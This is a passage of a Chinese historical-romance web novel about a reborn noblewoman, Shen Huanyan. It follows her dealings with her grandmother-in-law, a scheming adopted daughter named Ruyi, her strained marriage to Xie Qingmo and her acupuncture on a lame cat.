沈欢颜深知这李嬷嬷在老太太眼前的作用,与她又说了些闲话,处处把她将老太太照顾的这样周到挂在嘴边,说得李嬷嬷嘴都要笑裂开了。
又走了两步,李嬷嬷脚步微停,凑到沈欢颜跟前,压低声音往屋里努了努嘴,“老太太这会儿心情可能不大好,方才夫人领了她认的那个养女来屋里,叫老太太给轰走了。”
沈欢颜面露讶异,轻声问道:“原来母亲跟前,还养了一位姑娘?”
“哪是夫人养的啊,听说是谢家远房一位早亡叔伯家的遗孤,夫人心善非要认下。”
沈欢颜想来想去也没想出上一世有这一号人物,试探问道:“没人拦着?”
“说来也奇了,国公爷竟也允了。老夫人便没法再说什么了,只在这怄气。”李嬷嬷叹了口气,“那娘子好看是好看,就是跛了脚,倒也是个可怜人。”
跛脚……
难道是谢京策从益州接回的张大人之女——张雪薇?
可那时在扬州,张大人分明说他女儿患有腿疾,她也亲眼看见她换轿时是由仆妇背着的……不应该只是跛脚。
罢了,许是自己多想了。
婆母本就心善,忽然收养了一个孤女,倒也并不稀罕。
沈欢颜垂眸进屋时,鎏金铜炉里百合香烧得正旺,老夫人歪在罗汉床上,手里捻着佛珠,眼睛望向窗外。
“孙媳给祖母请安。”沈欢颜敛衽下拜。
老太太这才转过头来,目光落在她身上,“不是才请安,怎的又来了。”
然后想到什么又叹了口气,“你们啊,都嫌气我气得不够,干脆气死我算了。”老太太鼻孔都快冒烟了。
沈欢颜安慰道:“祖母消消气。”
她起身从一旁丫鬟手里接过方才自己带来的那个青瓷瓶子,又从袖筒里掏出了一个红漆小盒,起身上前,“孙媳昨日摸着祖母肩上有一处僵,便想着拿这瓶药酒与您擦一擦,再加上这一味活血化瘀的膏药,兴许能缓解些。”
说着,便打开那红漆小盒,“这膏药我在屋里用小火焙过,这会儿正温热,祖母若不嫌弃,让孙媳帮您揉揉药酒,再把这膏药贴上罢。”
老夫人看了她一眼,也是没想到她来竟是为了这事:“你倒是有心。”
可动作是还是有些迟疑。
“祖母放心,我母家的舅公是扬州名医,我同他学过两年医术,若说扎针正骨可能只学了皮毛,包扎上药我可是在行,定不会瞎糊弄的。”
老太太闻言,面上没动,却遣了丫鬟拿了扇屏风过来,算是允了她方才的话。
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沈欢颜安安静静帮老夫人宽衣。
“你这小嘴这样会说,”老夫人开口,“怎么不好奇老身方才为何不悦?”
沈欢颜柔柔笑着,俏皮道:“祖母现在对孙媳又不熟悉,孙媳哪能事事都打听,要不落了把柄,又教您说我没规矩了。”
一旁的嬷嬷丫鬟听了也笑了。
她将药酒用手心搓热,在老夫人肩膀那处好一番揉搓,嘴也没闲着,“况且您若想说了自然会说,孙媳不一定能帮上忙,但也总能帮您解些烦闷。您若不想说,孙媳贴了这膏药便走,横竖这膏药是无论祖母心情好与不好,都管用。”
老夫人一愣,随即笑了,好久不见这样眼活机灵的媳妇了,方又看她愈加顺眼了些。
“你倒是个省事的。”她这么一说,倒还真让人想听听她的想法。
“你婆母,前些日子收养了一个孤女。”老夫人顿了顿,“其实这倒没什么,毕竟也是谢家远房的亲戚,落魄了收留起来,府里不过是添双碗筷的事。”
沈欢颜眉心微动。
“可今日这孩子竟怂恿你婆母过来与我说,她想递名帖上去,参与襄王选妃。”
沈欢颜手下动作一顿,心想,这位素未谋面的小娘子心气倒是不低。
“口口声声说,想报答谢家的恩情,如若选中,必然对谢家有益。”老太太“哼”了一声,面露不屑,“她确实颇有姿色,可她一个跛脚女,怎能让襄王看上?”
“我看,她就是贪慕荣华,想赶快找个靠山傍身,也不掂量掂量自己几斤几两。”
“这小娘子多大啊。”沈欢颜问。
“比你长一岁,说叫什么……如意。”
沈欢颜猛的顿住。
如意?
怎能如此巧合,上一世张雪薇后来就改名叫应如意。
“担心了?”老夫人察觉到她忽然停下的手上动作,料定了她的心事般开口。
“我为何担心?”沈欢颜魂不守舍地答。
“她跟二郎没什么血缘,这种攀龙附凤的,若襄王攀不成,定是回来打府内主意。”
老夫人手上的佛珠停了停,看了沈欢颜一眼:“不过你放心,我这一关,她过不了。”
*
月色爬到了东华门的鸱吻上。夜风漫过殿脊,穿过回廊,带着水汽将凉意透进衣袖。
还真如沈欢颜所说,谢清墨被事情绊住了脚。
今日圣上请了大儒杜郜进宫夜讲,结束时已是亥时初刻,待太子赵楷送客出门时,谢清墨连忙也行礼告退。
赵楷却一把拉住他:“清墨,先生方才讲的‘未发之中’,我还有一处不解,你陪我走回寝殿,再讲讲。”
谢清墨垂下眼,神色微动,袖中的手指紧了紧。
“殿下请。”
等真正出了东华门翻身上马时,已是亥时二刻。直到府前瞥见了门房刘叔,谢清墨才送了一口气,跳下马把缰绳一丢,大步朝后院走去,转眼就没入了回廊深处。
23. 痴心妄想
“我事事为你打算,倒成了错?”沈欢颜听见自己的声音,又平又直,比隆冬的冰凌还要硬。
谢昭攥着拳,嘴唇抿得发白,那双和他父亲极像的眼睛瞪着她,里头有东西在颤:“母亲,您管我读书,管我用膳,管我交哪些朋友,管我说哪句话……”
“您恨不得连我喘气都要管!”
“我是人,不是物件。”他声音颤地厉害,也哑的厉害。
沈欢颜慌忙起身,想靠近他一些。
却只见谢昭连连后退,用一种极陌生的眼神看着她,只是看着。然后……
忽的从身后抽出一把长剑。顷刻间,寒光四射,他抬起手臂,将剑往自己脖子上一抹……
“昭儿!”一声撕心裂的痛喊响彻天地。
沈欢颜猛的从床上坐起,心跳在胸膛中“咚咚”作响,她喘着粗气,耳膜更闷得像远处的更鼓一般,将周围的声音隔绝开来。身后的寝衣也洇湿了一片,凉丝丝地贴在腰脊上。
她环顾四周,帷帐在黑暗中煞白得刺眼,窗纸透着一丝月光,廊下的灯仍未熄。
沈欢颜缓了好一会,就要把自己柔嫩细白的手腕给盯穿了,确认上面只有当初祖母为自己求来的念珠,才松了气。
上一世的她最后那些日子,手上惯是戴了许多首饰。
只是场梦罢。
今日是自己与谢清墨成婚第二日。门外传来晴茵匀长的呼吸声,应是已至深夜。
沈欢颜摸了摸旁侧依然冰凉的枕头,知道谢清墨今夜不会回来了。
她想下床拿些水喝。刚披上件外衣,还未穿上睡鞋,门外便传来了声响。
“二爷您回来了。”
是晴茵的声音,话音未落,谢清墨便推门进屋。
他脚步放得极轻,门扇在身后合上,几乎没有声响。烛火已灭,他就着窗子透的微光往前走了几步,视线落在床帐的方向。
她竟醒着。
只见沈欢颜坐在床边,一双细白的腿垂下,大约是睡热了,几缕碎发贴在颊边,虽披了件外套,但寝衣的领口敞着,露出一截莹白的锁骨。
她没动,就那样垂眼坐着,见他进来,只是睫毛颤了颤,虚虚抬了一下眼皮,神情却是怔的。仿佛刚从梦里出来,醒了,魂却还在别处。
“欢儿?”谢清墨快步走过去,弯下腰拢了一下她的外衣,轻声唤她。
见她并未应答,只是伸手攥住了他的衣袖,攥得紧紧的。
谢清墨蹲下,自下而上寻她的眼,握住她的手低声问:“可是梦魇惊着了?”
沈欢颜没说话,只是直直看向他那双和谢昭生的一模一样的眼,瞳仁渐渐泛起了水光。
“或是祖母为难你了?”谢清墨皱眉道。
沈欢颜摇了摇头。
仔细辨认了她的神情,应是没有隐瞒,他伸手抹掉她眼角的泪,柔声问:“那是怨我回来晚了?今日宫里……”
见他好像问不出答案不罢休似的,沈欢颜打断他,只哑声吐出了几个字:“我口渴。”
谢清墨这才起身往案前去为她斟了盏温水,递至榻前。既然她不愿说,那便不说罢。
沈欢颜本想伸手接了盏,可他偏不松手,最后只好小口小口就着他的手喝。
水缓缓滑进喉咙,也带回了些许思绪。
梦魇之所以是梦魇,不过是自己的心魔作祟罢了,沈欢颜想。那时自己囿于后宅,自由尽失,志向未得,早早嫁人生子后便将所有心力全然放在了昭儿一人身上,不觉间,竟不知母子嫌隙已到了无可挽回的境地。
愿自己前世的死,能换余下之人的解脱。沈欢颜垂下眼睫,唇边浮起一抹苦笑,笑意不及眼底便散了,只剩一双枯井般的眸子。
谢清墨放了杯盏,回来时见她又怔着,叫人心头发紧。他伸手将她垂下的一缕碎发挂至耳后,竟发觉她耳后的皮肤也潮得发冷,又将她整个人捞入怀中,不料触到她后背的衣料更是洇湿。
他起身道:“我叫晴茵进来伺候你更衣。”
可步子还没迈开便被沈欢颜拉住了。黑暗中她冲他缓缓摇了摇头。她不喜自己这副样子,更不喜这幅样子引别人担心。
“如此,怕会着凉。”谢清墨皱眉,旋即瞥见净房那边有了水汽,方开口道:“我回来时差人备了热水送去了净房,你若不愿叫晴茵,便随我去,务必把身上擦干了才行。”
又不见她应。谢清墨蹙紧眉头,直接将她拦腰抱起。沈欢颜瞪大了眼,想挣扎却又没什么力气,最终还是环上了他的脖颈。几步后,他将她在柜前放下,待她探身拿了一套寝衣后又复地抱着她径直去了净房。
雕花门被氤氲的水汽蒙上了一层薄雾,蜡烛轻晃,人影也晃。他将她放在身前云纹青石台阶上,低头看了一眼窜着热气的浴桶,又抬眼看她,眼里已比浴桶的水还要烫了。
沈欢颜似是看出了他的意图,红着脸嗔道:“你转过身去。”
“我自己来。”她睫毛湿哒哒的,眼睛也比方才有了些神采。
谢清墨见她恢复了不少,便也放下心,转过身背对她,却又朝后伸出了一只手臂:“扶着,当心滑。”
身后传来了窸窸窣窣的声响,那件被汗洇湿的寝衣落在了他的脚边。
片刻,那只肤色如玉又泛着青筋的手臂搭上了另一只盈白娇软的手,她握紧,接着便是水波漾开的声音。
沈欢颜跨进浴桶,花瓣随着她的动作缓缓被推至两侧。
谢清墨站在那,面对着人影曼妙的屏风,蜷了蜷手指。
半晌,那手指握成了拳,又紧了紧。随着“扑通”一阵水声,屏风上的人影便又多了一个。
谢清墨吻着她的长睫,又亲她笔尖那粒小痣,她的唇微张着,呼出浅浅的白气,唇色被水汽蒸得愈发秾丽,唇瓣还上沾了细密的水珠,他轻轻撵过,一一吻去。又轻声哄着,要她背过身去。
水珠又轻又重地拍打着木桶。沈欢颜趴伏在浴桶边,轻咬着唇:“二郎,你很喜欢孩子吗?”
上一世,他与她最为缱绻的时光便是昭儿出生后那段日子,像是寻常人家一般,每日散衙他都早早归家,将昭儿揽入怀中,眉眼间的笑意藏都藏不住。
这样想着,沈欢颜渐渐沉下脸。如若他们一直如此,想必有喜也只是或早或晚的事罢,可她……真的做不好一个母亲。
但在谢清墨听起来,她的声音软软的,还有些止不住的颤,他心底泛起一阵酥麻,俯身亲上她的耳廓,贴住她的面颊轻声道:“若你想要……”<
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p>“我不想!”她忽然拔高了嗓音,仿佛受到了惊吓。
谢清墨一愣,动作也缓慢停了下来。
他盯着她忽然剧烈颤抖的肩,心口像是被人蓦地攥紧。
原来她竟是不愿……
转瞬,他勾起唇笑了。
谢清墨笑自己——本就是痴心妄想,何故今日又起了介怀,这天底下的福气,哪能让一个人占全了。
到底,还是贪了。
良久,他沉声道:“好,我知道了。”
他扶着她的肩转过身来,眼角隐隐泛红,低头在她的唇上落下轻柔一吻,用手抚过她的眉眼,旋即又冲她笑了笑。
他笑的很好看,沈欢颜却看不懂,只是觉得心头没由来地一慌。
“你若洗好便先回吧。”谢清墨垂眸,掩去眼底的涩意,不再看她。却又伸了一只手臂搭在桶边让她扶,“慢些,当心脚下。”
“二郎,我不是……”
“无妨,待久了冷,快回吧。”他转过身子不再看她。
沈欢颜不知自己还能说些什么。方才也确实是自己的真心话,她怕……怕再成为母亲。如若谢清墨想要孩子,她甚至能接受他纳妾。
她站起身,目光微凝,看着他宽阔挺拔的背脊半晌,终于垂下了眼帘,不再探究。
月色如水,等到水已经凉透,谢清墨才从浴桶中迈出,从净房后门去了书房,一夜未归。
沈欢颜等他没等到,便沉沉睡去了。
*
若不是晴茵与她说二爷早上是从书房出来的,她都不知他昨夜竟没回屋。
沈欢颜侧头看着眼前和自己父亲母亲侃侃而谈的新婚夫君。总觉得今日的他有些奇怪。
虽然看自己的眼神依旧温柔,可分明又有些不同,她说不上来。
本想与他聊聊,沈怀渊却又缠着他问东问西。
最近沈怀渊按照谢清墨给他整理功课,整日待在书房里用功,连母亲都说他仿佛变了个人。
“这还是姑爷的功劳。”这句话沈夫人是对着女儿说的。
沈欢颜知道母亲是何意,只是笑着,耳朵尖都羞得泛红,看阿弟这样进步她也是欢喜的,想着晚些时候再与谢清墨道谢。
直至酉时,他们才辞别了父母与阿弟,准备打道回府。
到了门外,沈欢颜才见到来时的马车旁还停着一匹马,是谢清墨常骑的那匹,正低头啃着缰绳。
他竟不与她一路回府?沈欢颜笑意僵在嘴角:“你……”
“宫里差人传话,今晚便要回。”谢清墨转头看她,神色如常,只是目光微垂,没落在她脸上。
“再归家便是下回旬假。夫人在府中好生照顾着自己,若有事遣人来寻我便是,切莫委屈了自己。”
她没接话,只是看他。
他叫她夫人……
最后只道了声:“好。”
别了谢清墨,沈欢颜便往马车走去。
谢清墨站在原地,看着她上了车,垂了帘。又盯着那垂下的帘子半晌,不知想着什么……
“二爷。”李瑞牵马过来,低声提醒。
马车从身旁驶过,谢清墨转头看了最后一眼,少顷翻身上马。
一夹马腹,再未回头。
24. 开门见山
转瞬又过了三日。
这日天色阴沉,薄云在天上铺满了一层,把日头挡在后头,透下来的光便寡得没有一丝生气了。
沈欢颜用过早膳,就趴在窗前那张小几上。扇窗被推开了一半,外头的风挤进来,凉凉的。
“娘子,咱们把窗关了吧,别冻着了。”晴茵在一旁担心道。
沈欢颜抬抬眼皮,没精打采道:“不了,正好让我清醒清醒。”
这两天除了请安,她都在清砚斋待着,无事了就翻一翻医书,学一学针法。
可只要闲下来,就会想起他那“小心眼”的夫君。
那日他就那样骑马走了。
是真恼了吧。
可自己又能怎么办呢。
还是得寻个日子好好与他谈谈,兴许他也愿意纳妾呢。
她就那么趴着,脸埋在臂弯里,露出一只眼睛望着窗外,看那麻雀都是成双成对的,从石榴枝上飞走,又落在屋檐上,你啄我我啄你。
谁不想就这样一生一世一双人呢,可这是国公府,又不是寻常百姓人家。
谢清墨将来又是要中进士的,长路漫漫,人生无常。哪怕她想,也一定办不到,多少娇俏美人在前面等着呢。倒不如从一开始就摒弃了自己的善妒,活得洒脱些。任他爱谁疼谁,到头来都与自己没什么干系。
沈欢颜蔫蔫地想着。
就说上一世那个外室应如意,到最后不也没拦住?一把火便让人寻了由头,顺顺利利入了府。如若自己早些看开,不给自己添堵,说不定还能多活几年……
都是花,自己开,或与别人一同开,没什么区别的。
“少夫人!”春巧从外头跑进来。
春巧原先是婆母院子里的人,这院办了喜事才被安排在了她身旁服侍。
沈欢颜观察了两天,这丫头人机灵也没什么心眼,那日从娘家给她带了些好吃的糕点,都让她高兴了好一阵儿,对她伺候得也尽心尽力,便打算让她长留了。
看到春巧,沈欢颜心绪一转,想到上一世待在自己身边的还有夏竹。
那丫头是她当了国公夫人以后,在府中丫鬟里好不容易挑的,会识字,后来还能帮自己看帐。夏竹也是可怜人,小时候母亲便没了,跟着父亲相依为命,她父亲年逾四十中了举人,眼看快熬出头时却一病死了……她便被叔父给发卖了。
如今夏竹应该还在老夫人院里才对,怎么那天去了没见她……沈欢颜思绪越飘越远。
“少夫人?”春巧本身是急匆匆的,自己话还没说,主子却发起了呆。
“何事?”沈欢颜这才回神。
“就是,夫人院里的如意娘子来了,她说……二爷这几日不在,怕您闷着,特来陪您说说话。”春巧是知道这位如意娘子的,她还在夫人院里的时候就见过,生的格外貌美,可也并未听说她与自家主子还有交集。
沈欢颜搭在窗沿的手指一顿。
如意……婆母那个养女?
“请进来吧。”沈欢颜不知这谢如意找上自己所谓何事,不过人既然到了门口,也没有不见的道理。
“对了。”春巧刚准备退下,听了少夫人的声音又赶忙站住。
“以后和晴茵一样,私下唤我娘子便好。”不知为何,沈欢颜不喜欢夫人这类称呼。
“是,娘子。”春巧裂开了嘴笑。在她看来,能和晴茵姐姐一样待遇,以后定能吃到更香的点心了。
春巧脚步轻快地去门口掀帘子。
沈欢颜正打算起身,门口光线一暗,客人便已进来了。
谢如意穿着藕荷色衣裙,素素的,没什么纹饰,发间只插了一只玉簪,面容微冷,目光极淡,可就是这样,也掩盖不住她清冷的美貌。
这般气质的人,沈欢颜只见过一个——前世今生都是眼前这人。
果然是她。
有了上次在老夫人屋里的猜测,沈欢颜今日见她便也没了太多惊讶。
倒是谢如意今日初次见沈欢颜,淡淡的眸子里是掩也掩不住惊艳,上一世她早早便听闻谢清墨的夫人是位明艳娇媚的绝色美人,却直到她离世也未曾见到过。
眼前的她只是安安静静立在这,就是顶好看的。只见她嘴角轻轻一翘,笑意还没漾开,整张脸便亮了起来,那双眼睛也是极勾人的,黑白分明得像刚洗过的黑葡萄一般,眼睫悠长又密,眸子比她头上的珠子还亮。
“二嫂。”谢如意盈盈一福,声音却是轻轻冷冷的。
“快请坐。”沈欢颜连忙伸手扶她,笑着说:“我还说得了空要去母亲院里寻你顽呢,你倒是先来了。”
沈欢颜承认自己对她有天然的防备,从她进屋,她就在猜测她到底为何而来。
谢如意绝非寻常女子,长于书香门第,父亲受人诬陷致死,又辗转流离,改名换姓,寄人篱下。这中间不知吃了多少苦,遭了多少罪。如今自己才刚嫁进来便找上门,绝非只为闲聊。
“昨日我打听,我应是比二嫂年长些,冒昧斗胆,往后可否称你一声‘妹妹’?”
“姐姐太客气了,既如此,往后咱们以姐妹相称便是再好不过了。”还别说,沈欢颜也听着“二嫂”这称呼别扭的很。
“妹妹刚成婚正是忙碌之时,此时叨扰,实属罪过。可今日实有要紧事相求,只得厚着脸皮过来了。”
她如此开门见山,沈欢颜倒是没想到。
“这是说的什么话,都是一家人,哪有什么求不求的。”沈欢颜笑着,转头将视线落在晴茵脸上,极轻地一顿。
晴茵正垂着眼,却像是什么都看见了,默默一福,拉着一旁还傻愣愣的春巧无声退到了门外。
屋子里静了下来。
沈欢颜重新望向谢如意,声音放轻:“姐姐有什么事,只管说。”
窗外的风很轻地吹进来,拂着谢如意鬓边的碎发,她却无心去拢。她就那么低着头,像是斟酌怎样启齿。
不知过了多久,久到沈欢颜都要困倦了,谢如意才抬起眼来。
那双眼还是清清冷冷的,可仿佛有什么东西落了些去,又有什么浮了上来。就像沉入水底的石头,终于被湍流冲开,露出了本来的模样。
“我想参选襄王妃,想求妹妹……帮我在祖母面前说句
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话。”
沈欢颜听罢,半晌没说话。
上次在祖母房里听了那么一句,只当是她碰了壁便不会有下文,没想到还这样执着。
这次襄王选妃,世家大族只要有些头脸的都避之不及,就连皇后娘娘都睁一只眼闭一只眼。
可明知道是火坑,还往里头跳的人……
沈欢颜抬头看她,除非真是如老夫人所说,是因为贪图富贵,急于找一个靠山?其余她实在想不出什么别的理由。
除非……
沈欢颜忽然想到了什么,思忖了半晌蹙紧眉正色道:“姐姐可识得张怀仁张大人?”
谢如意目光一滞。
沈欢颜看她脸色便猜出了十之八九。
“你父亲的死与襄王有关。”她说。不是问,是陈述。
这样一切便解释得通了。
“妹妹恐难相助,望姐姐见谅。”沈欢颜沉声道。
此事不成便罢,若这谢如意真成了襄王的枕边人,所有的一切都可能败露,她要置谢家于何地?
“我不问襄王与你有何仇怨,可你要知道,现如今我也是谢家人。”沈欢颜声音放得很低,却又一字一字咬得清楚,“我希望你也能记得,如今你还能有此处安身立命之所,是谁冒死去救的。”
“谢家这几百口人的性命,你不能、也没资格去赌。”
屋子里静得能听见窗外柳芽颤动的声音。
谢如意垂着眼,只是安安静静坐在那,如冰冻了一般。
片刻,她终于吐出一句话:“我不去,谢家的人也会死。”
*
午后,笼着的薄云不见了踪影,日头暖融融地铺满了整个院子。
沈欢颜坐在廊下阴凉处,怀里抱着一只狸花猫。
春巧说:“这猫以前总在夫人院子里,就喜欢凑到漂亮丫鬟身旁讨吃的。如今娘子一进门便又来了咱们清砚斋,也难怪丫鬟们都玩笑说这只是‘识货的’。还真是哪有美人往哪跑。”
沈欢颜听罢也笑。看着它肚子滚圆,趴在她膝上一动不动的,便把手搭在猫背上,指尖陷在柔软的毛里,有一下没一下的顺着。
这猫她也见了几回了,若说它胖的缘由,贪吃当属第一,可还有一条,竟也不是它能左右的——这猫是只跛脚小瘸子。行动不便,自然也就更容易胖些。
她唤春巧去屋里把自己的箱笼里的青布针衣取来,又交代:“再把昨日晴茵出门灌的那一小壶烈酒也拿来。”
等着的功夫,沈欢颜又侧身问着晴茵:“二爷是明儿个放旬假?”
晴茵笑答:“正是呢,我问了门房,旬假前一日便可归家,大约今日申时前后,二爷便能出宫了。”
在晴茵看来,娘子这般问起,定是在牵挂二爷了。可转头看时,却并未见娘子露出什么喜色,反倒眉宇间似是凝着一抹愁云。不由觉得奇怪。
沈欢颜只微微颔首,不再多说。
她自己也辨不清楚如今究竟是盼他回来,还是怕他回来。
盼是因有些话必须问他,怕是因自上回那事,两人间好像不似往日那般自在了。
25. 醋意暗涌
春巧取来了针衣和烈酒。
暖阳撒在回廊下,那狸奴翻个身,露着雪白的肚皮睡得正酣。沈欢颜低头轻轻揉着它的大腿,心中暗忖:大约和自己昨日的推断一致——跛行是关节僵硬而非外伤骨裂。
应是寒湿入络,疸阻经脉,正合灸法温通。
“春巧,这猫儿是不是从前就这样跛着。沈欢颜问道。
“是了娘子,打我第一次见,它便这样了。”春巧忍不住张口打了个哈欠。
这日头太暖,别说猫了,人都舒服得不行,她悄悄嘟囔着:“娘子可真能熬,也不歇个晌午觉。”
沈欢颜抿唇笑着。春巧这丫头,还真是能吃能睡的。
“我寻思这狸奴的跛腿兴许能治,想给她扎几针试试。咱们到院子中间去,若是它窜了也不至于进屋打坏物件。”沈欢颜一面说,一面抱着狸花猫起身。春巧也拿上了针衣和酒紧随其后。
走到院子当中。沈欢颜弯下腰,将猫儿轻轻放在了地上,拔开酒塞,蹲下往手心倒了些酒,双掌合拢轻轻匀开,待酒液微温,才一下一下揉在它跛着的这条腿上。
狸奴舒服地眯起了眼,喉咙里发出呼噜声。
“娘子,这酒有何用处?”春巧在一旁好奇地问。
“温通经络,便于施针。”沈欢颜打开针衣。
又叫春巧将猫儿按住,指尖轻拈起最细那根银针,在酒液中轻轻一蘸,又道:“酒性辛散,也能祛秽浊之气。”
春巧重重点头,眼里全是崇拜。
“莫怕。”沈欢颜声音极轻,将手指慢慢移至狸奴后腿关节处,细细摸索着。耳旁也仿佛响起师父威严的声音:“下针前,必先以指探,失之毫厘,差之千里。”
指尖触到一处微微凹陷,她眸光一定,捻针那手腕果断一扣——银针破皮而入,又轻轻一提,再捻转着向下探去。
那猫儿浑身一颤,却被春巧按住动弹不得。
沈欢颜指尖这时忽然感受到针下的阻力,似有若无的涩滞,正是寒湿阻络之象。正欲再拿一针……
“弟媳这是在做什么?”一道清亮的男声陡然从身后响起。
狸奴骤然受惊,后腿猛地一蹬,那针随着它的动作被带向一侧——
沈欢颜根本没空应话,连忙上前按住它的“扶突”穴,又三指稳稳拈住针柄,将那根歪针顺势起了出来。
眼看狸奴就要跑。
“我来。”谢京策眼疾手快地上前,帮着春巧按住了那想要挣扎逃脱的狸奴。一手按住它的背脊,一手护住它的伤腿,怕它因挣扎受伤。
“别动——”二人几乎异口同声。
春巧赶忙退至一旁,低头不再多言。
两人四目相对,谢京策低声道:“我来按着,你继续。”
沈欢颜也没迟疑,收回目光拈起银针重新蘸酒,“按它的后颈,别让它回头。”
谢京策闻言照做。他手很稳,压住了它颈后凹陷处,猫儿挣扎顿时弱了下来,只剩喉里轻微的呜咽。
沈欢颜动作一顿,他方才按的正是“天门”,也是兽医中用以镇定的要穴。莫非他也懂医?
将针缓缓刺入,沈欢颜抬眸道谢。
“举手之劳而已,”谢京策爽朗一笑,“竟没想到弟媳还会针灸之术。”
“只会些皮毛而已,”她顿了顿又道:“大哥怕也是深藏不露。”
说着眼睛看向谢京策按住猫儿天门穴的指腹。
谢京策闻言一笑:“什么深藏不露,从前在战场上跟军医学过两手,顶多是伤马伤骡多的时候能帮上些忙而已。”
沈欢颜微微颔首,恭维的话没再多说,又道:“我想将它这两处也一并扎了,烦请大哥再多按它片刻。”
谢京策只道:“行。”便将这狸奴按得更稳了些。
这猫儿在他的掌下渐渐安静下来,喉咙里的呜咽也变成了咕噜咕噜的轻响。
沈欢颜这才缓缓下针。完毕忽然想到什么,赶忙起身敛衽一礼:“瞧我,方才光顾着说这狸奴的腿,倒是忘了问——大哥难得来,可是寻二郎有事?”
谢京策抬头望了望天色,道:“我等下就得回营里去了。二郎明日旬休,我估摸着他兴许能早归,过来撞撞运气,看能不能遇上,下次再见又不知要到何时了。”
“可……你的衣裳被狸奴弄脏了。”沈欢颜竟没想到他是要来道别。
“无妨,一会儿换了就是。再说回营路上风里来雨里去,没准还要在沙泥里滚爬的,也仔细不了什么。”他笑得全无所谓。
沈欢颜悄悄抬眼看他,从前自己闺中时候,许是因自幼见惯爹爹行止,便尤其对此等温厚武将颇有好感……
一旁的春巧这回长了眼色,连忙走近,蹲下来扶着狸奴:“世子爷,还是奴婢来吧。”
谢京策这才松了手,顺手又轻轻揉了揉猫儿的脑袋。
那狸奴眯了眯眼,在他手下蹭了蹭。
谢京策正要开口告辞,月亮门方向忽然传来一道脚步声。不轻不重,不疾不徐。却又像是平静水面投入了一粒石子。
“大哥。”
一道清冽的男声从身后响起。
来人停在了五步开外。
谢京策闻言站起身。
沈欢颜收针衣的手也一顿,转头向那人看去。
只见谢清墨玄青色衣袍上沾了些许尘土,腰间挂着他钟爱的那枚玉佩,在往上,是劲瘦的腰身,宽阔的肩,以及——一张让无法忽视的脸。眉如刀裁,眼尾微微上挑,那眸子如深潭,看不到底。
虽看起来像刚从外头策马归来,但沈欢颜却隐隐觉得,他在他们身后看了很久。
他面容沉静,看不出喜怒,目光从她身上掠过,落在了谢京策沾了猫毛的衣袖上。最后,又看向了沈欢颜脚边那只懒洋洋的狸花猫身上。
那猫儿似乎感应到了什么,只匆匆看了来人一眼,便低下头去舔自己的毛。
谢京策展颜一笑,眉宇间尽是笃定:“我就说,临行前定能见着他。”
谢清墨瞥了他一眼,声音不高不低地“嗯”了一声。随即迈开步子越过他,走到沈欢颜身侧才停下,垂眼望着她,半晌不语。
很近,她甚至能闻到他身上若有若无的尘土和淡淡的松墨香。
谢京策见他目光不善,心下了然,侧身往旁让了两步,与他腾出空来,微微笑道:“我今日便要回营……”
“扎完了?”
谢清墨并未理会他,转头看向沈欢颜手中握着的针衣问道。
他声音很淡,听不出情绪。
“……嗯。”沈欢颜答,不知他是何意。
他又低头看猫,这狸奴腿上明晃晃插着三
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针。
也不知这俩人单独待了多久。
“它能好?”他问。
沈欢颜皱眉。这人这臭脾气——简直莫名其妙。
“只能试几日再说,欸——”谢清墨突然伸出手,沈欢颜便以为他要碰她的针,慌忙抬手。
谁料他二话不说,竟俯身将那狸奴……轻轻抄起,往臂弯里一放。那动作看似轻柔,却透着一股子不由分说。
再看那猫——四腿打着颤,眼睛瞪得溜圆,活像造了什么大难……
谢清墨这才抬起眼望向谢京策,嘴角带着几分意味不明地笑,慢悠悠道:“大哥方才说的什么?”他顿了顿,尾音又上扬,“我没听清。”
谢京策:“……”
沈欢颜:“……”
春巧:“?”
狸花猫:“!”
*
暮色初临,三人立在门槛下,门前还有老槐树落下的细碎影子。
大门半敞,谢京策回过头,笑道:“行了,留步吧。”
谢清墨只淡淡点点头,沈欢颜也敛衽一礼,轻声道:“大哥路上当心。”
谢京策目光放在阿弟那张不怎么高兴的脸上,摇头轻笑。又抬手探入衣襟,从贴身处取出一封信递与他,“若我哪日回不来了,”他顿了顿,声音低缓,“你再打开。”
谢清墨当即眉心一拧:“你这说的叫什么话!”
沈欢颜也眼皮子一跳。
谢京策却已翻身上马,闻言勒住缰绳,回头望了望立在门前的两人。暮色里看不清他的神色,只听他声音温和:“刀剑本就无眼的,”他笑着顿了顿又道,“阿弟,弟媳,珍重。”
暮色四合,他的背景沿着长街,渐渐融入苍茫。只余几片落叶在空荡的门前打着旋。
“说的什么鬼话。”
谢清墨声音很轻,手里攥着信眉头紧锁,迟疑片刻却还是将信缓缓揣入怀中。
转身时,面上已瞧不出神色,抬脚正打算往府里走。
“大哥,为何……说那样的话?”沈欢颜却在原地喃喃道。
她想起谢京策上一世出事已是成平十二年,那时昭儿都已学会了走路……可听方才大哥的语气,倒像是已经发现了什么。
沈欢颜低头想着,却没留意眼前的路,刚走两步便一头撞上一堵人墙。
谢清墨听了她的话本就脚步一顿,转身又恰巧碰上她自己送上门,便一手拦住她的腰,另一只手顺势抚上了她的脸颊,滑至她的下颌轻轻捏住。
他垂眼看着她,嘴角勾起一抹极淡的笑。
“夫人,”谢清墨声音低缓,没什么温度的嗓音一字一句落在她的耳畔:“对我大哥……倒是关心得紧。”
沈欢颜还未来得及反应,便已被欺身近前之人逼得步步后退,直至背脊抵上门框,他却仍不罢休,俯身向下。
沈欢颜伸手抵住他的胸口。
“我,我只是……”她偏着头张了张嘴,声音却像堵在喉咙了似的。
他的眉眼近在咫尺,两人额角几乎相触,呼吸凉凉地拂过她的面颊。
“只是什么?”谢清墨忽然攥着她的一只手冷笑道,“只是舍不得他走?”
“你……你不要这样。”沈欢颜被他逼的心烦意乱,心一横,用力将手腕挣脱,双手抵上他的胸膛,用尽全力一推。
26. 绿蚁新醅
谢清墨猝不及防,被她推得一个踉跄。他愣住,那双平素深情的眼里划过了一丝不可置信——像是不认识,又像是才看清。
沈欢颜被他看得心头发颤,张了张嘴,却一个字也吐不出。
片刻后,谢清墨嘴角弯了起来。未置一词,转身大步离去。
去往清砚斋的路上,两人一前一后地走着。
廊下几个丫鬟正端着茶盘路过,忽见前头二爷大步走来,面色沉得像要落雨一般,心中俱是一惊。二爷向来温和,下人们几乎从未见过他这般模样。
几人慌忙侧身垂手而立,恨不得连呼吸都敛了。
待他走远,大家才发现后面还跟着一人——萎靡不振、步履虚浮的二少夫人。她就那么垂着脸飘了过去,好像……连影子都比平日淡了些。
直至二人一个进了书房,一个入了内室,丫鬟们才敢悄悄抬眼互望,轻轻吐了一口气,也大概知道二爷这动气到底是为了谁……
